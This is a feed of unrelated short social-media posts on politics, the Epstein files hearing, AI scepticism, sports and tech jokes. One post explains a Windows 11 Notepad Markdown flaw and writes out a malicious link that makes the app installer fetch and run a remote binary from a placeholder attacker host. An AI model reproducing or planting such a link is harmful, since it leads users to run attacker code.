I feel this way about pretty much all vaccine-preventable infectious diseases. You shouldn't be allowed to dump cyanide into municipal drinking water and you shouldn't be allowed to recreationally spread viruses around shared public spaces.

Topical reminder that, whilst a few of Palestine Action's actions apparently fall within the letter of the Terrorism Act, govt ministers repeatedly insisted at the time that it would *never* be interpreted that way. Which, as we've seen, were completely worthless assurances.

The Weekend is here, happy Friday, here's a #RandomWhiteDwarfCover Issue 172. April 1994

The saddest conversation that we’re NOT having about the SAVE act is just how many millions of people would be severely limited if they needed to come up with new documents or a couple of hundred dollars just to access their right to vote. Check your privileges, people.

오이를 서리하는 고슴도치 민화랑 비슷하네요. 귀여움.

If ever there was an admission that the US "healthcare" system is purely profit-driven, it's a pharma exec saying that the lack of access to the market means they won't be able to gouge enough profit to make their money back!

In terms of what cures are being lost: - Epstein-Barr virus is perhaps the major trigger for multiple sclerosis - herpes simplex virus causes cold sores, genital herpes, infections in babies, deadly meningitis - shingles virus causes an intensely painful disease

NEW The High Court rules the proscription of Palestine Action was unlawful. What did the judgment say and not say, and what has changed and not changed. And what happens next. Quick explainer by me at @prospectmagazine.co.uk www.prospectmagazine.co.uk/ideas/law/th...

Trump nominated a legit white nationalist to a top post at the State Department. I asked him some basic questions about his belief in the “erasure of white culture”. Watch this embarrassing, fumbling answer. Like he has never before been asked to explain his views.

Every single day I wish Poison Ivy was real www.cnbc.com/2026/02/12/t...

I'm sure this will be a gift for stalkers and domestic abusers.

not putting Zohran in the center here is… a choice

Billionaire Jim Ratcliffe says Britain is being colonised by immigrants - much like he 'colonised' Monaco to cut his tax bill

OH MY GOD THEY HAVE TO HIT THIS FOR NEXT PERSON TO GO IN THE LUGE RELAY!!

The EU has just voted, by a VERY wide margin, for the full recognition of trans women as women…!

American politics is a seesaw driven by the biggest dipshits you’ve ever met it’s just this comic over and over and over again, forever

Also a lot of the records that *have* been digitized have mistakes in them. I've been doing some amateur genealogy research and there's a ton of stuff like the places of people's birth being incorrectly recorded in the digitized copy because the person converting it struggles to read cursive.

Right, another key thing that historians do is working with important records that have not been digitized. And the vast majority of the world’s records *have not been digitized* and thus do not exist in any format that LLMs/AI can work with.

NUDE ELON MUSK: The invisible clothes I'm wearing are a product of xAthleisure, which will roll out self-dressing outfits within two years at the latest THE CREDULOUS PRESS: Fully Clothed Tesla Innovator Does It Again

A Reuters photographer captured this image of a page from Pam Bondi's "burn book," which she used to counter any questions from Democratic lawmakers during an unhinged hearing today. It looks like the DOJ monitored members of Congress’s searches of the unredacted Epstein files. Just wow.

Woman (1990)

If you feel "hamstrung" by human rights laws and by health and safety laws - you are the person those laws were designed to protect us against. You need to be obstructed by those laws. Also, she's lying.

Like, I entirely agree that Trump, Farage and the Tories are pushing insanely extreme politics, and I spent a surprising amount of the 2010s being roared at for saying so by Sensible people telling me that my divisive rhetoric was the blade in the heart of democracy that’s killing us all, and so on.

In a functional country, this would be a scandal. A service suffering only from chronic underfunding was ripped apart because the media created a myth of 1000s of complaints of malpractice. The truth - as in my family’s experience - was very different. www.thepinknews.com/2026/02/11/n...

As an elder millennial who grew up with an Amstrad and then home-built PCs… I don't think I've EVER done this. Hardware issues, sure. But trashing a machine with a virus? Not that I remember. (Although our AV did once detect a worm on a floppy that must have come from using it in a school PC!)

You may have heard of B2B (business to business) and B2C (business to customer). But did you know that there's now A2A (agent to agent)? The agreeability bots that have repeatedly been shown to be a liability in customer support are being used for sales discussions with other agreeability bots 😆

amazingly it's not related to AI they added Markdown support to Notepad in W11, and don't adequately sanitize links, so you can write `[dancing bunnies](ms-appinstaller://?source=http://evil.example.com/PwnMe.msix)`, and if the user clicks it, it'll gladly run that remote binary as the current user

This isn't actually about the AI feature. It's about Markdown support. Markdown mode opens link and runs code. Nothing to do with the (admittedly useless and bloated) GenAI crap. This time. foss-daily.org/posts/micros...

Not sure who created this, but it's fabulous

76% of Monaco are immigrants Jim Ratcliffe is one of them

So the DOD started laser testing because they believed party balloons were drones, shut down all of El Paso airspace, and blamed it on Mexican cartels?

Ted Lieu: “Were there any underage girls at that party or any party that Trump attended with Epstein” Pam Bondi: “There is no evidence that Trump has committed a crime” Ted Lieu: “I believe you just lied under oath”

Trump's approval ratings are low so... they're going to stop reporting his approval rating. Can't make this complict shit up any more.

how bad do you have to fuck up to allow an exploit in fucking NOTEPAD

Amazon Connect introduces audio enhancements for noisy environments AWS just discovered noise cancellation exists and named it "Audio Enhancement for Amazon Connect." Revolutionary! Next up: "Visual Clarity" (turning on your monitor) and "Thermal Regulation" (AC).

Amazon Athena now supports 1-minute reservations and 4 DPU minimum capacity "Serverless" Athena now lets you reserve capacity by the minute because nothing says serverless like pre-buying compute. 4 DPU minimum! Up to 95% savings*! *if you guess your usage perfectly and read 47 pricing docs

My doomer-worry about AI is not that the LLMs become omnipotent and take over the world but that the wealthy and powerful use it as a means to consolidate power and marginalize or lay off skilled workers and also everything about our technological and political and social life gets worse

Pipes on Windows 98

drowning is impossible. your body is 2/3 water

Brit living in Monaco hates immigrants unless they’re footballers.

It's Wednesday, which means it's time for a Midweek #RandomWhiteDwarfCover Issue 175. July 1994

I know that there is just so much going on in every direction, but it does really feel like we've reached a point of class divide where the people making Big Money Decisions are an alien species who can't imagine what the rest of us are thinking at any point.

"Switzerland’s military has terminated its contract with Palantir… following a security audit… concluded that U.S. intelligence agencies could potentially access sensitive Swiss defense data… significant reputational warning for the data analytics firm" www.newscase.com/palantirs-sw... #R4Today

You have to remember: it's not that AI can *do* a job. It's that the job is so disrespected they can get away with *pretending* AI can do it, laying people off, and delivering crap services. Neither teachers nor the children who need them are valued by the likes of Microsoft.

Yup. The study: arxiv.org/abs/2507.07935 What Andrew claims are the conclusions of this study are not at all the conclusions drawn from this study.

Sure, you can replace your customer service reps with AI. But I guarantee those "old fashioned" companies that keep their human reps will keep more of their customers

Last night, I got properly "doored" for the first time. A car in the road to my right paused, and the rear left passenger threw open his door without looking, right into my path. I ended up on the floor, badly winded but ok. If you don't know what the "Dutch reach" is, NOW is the time to learn.

Winter Olympic bosses launch an investigation after several athletes' medals fell apart